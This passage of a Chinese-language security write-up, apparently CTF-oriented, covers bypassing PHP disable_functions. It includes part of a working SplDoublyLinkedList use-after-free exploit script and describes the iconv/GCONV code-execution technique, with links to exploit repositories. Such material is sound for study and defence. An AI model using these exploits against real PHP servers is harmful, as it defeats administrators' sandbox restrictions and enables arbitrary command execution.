    $dlls[$i]->push(new DanglingTrigger($i));
    $dlls[$i]->rewind();
}

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);
}

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();

# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);

https://gitee.com/leonsec/images/raw/master/image-20210129105249462.png

https://gitee.com/leonsec/images/raw/master/image-20210129105444759.png

先知上有师傅复现了,可以参考:https://xz.aliyun.com/t/8355

exp作者分析:SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape - SSD Secure Disclosure

iconv

前段时间ByteCTF2020的Wallbreaker2020出了这个考点,线上赛出了非预期,用Backtrace Bypass的exp,Exception类改成Error类可以绕过disable_classes

复现环境:CTFWEBchallenge/bytectf2020/wallbreaker2020 at master · baiyecha404/CTFWEBchallenge

使用iconv绕过disable_function的分析:Getting Arbitrary Code Execution from fopen’s 2nd Argument

利用条件:

  • 可以上传文件
  • putenv
  • iconv()iconv_strlen()、php://filter的convert.iconv

利用过程参考:Bypass shell_exec or system disabled functions by using GCONV (PHP rce to system())

以及byc_404师傅的bypass diable_function with iconv - HackMD

https://gitee.com/leonsec/images/raw/master/image-20210129114232134.png

https://gitee.com/leonsec/images/raw/master/image-20210129114355535.png

Reference

https://www.cnblogs.com/tr1ple/p/11213732.html

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://www.anquanke.com/post/id/208451

https://xz.aliyun.com/t/4623

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/

https://www.anquanke.com/post/id/197745

https://xz.aliyun.com/t/4688

https://www.cnblogs.com/BOHB-yunying/p/11691382.html#cRYwzKZ5

https://blog.bi0s.in/2019/10/26/Web/bypass-disable-functions/

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fastcgi-remote-exploit.md

https://github.com/mm0r1/exploits

https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions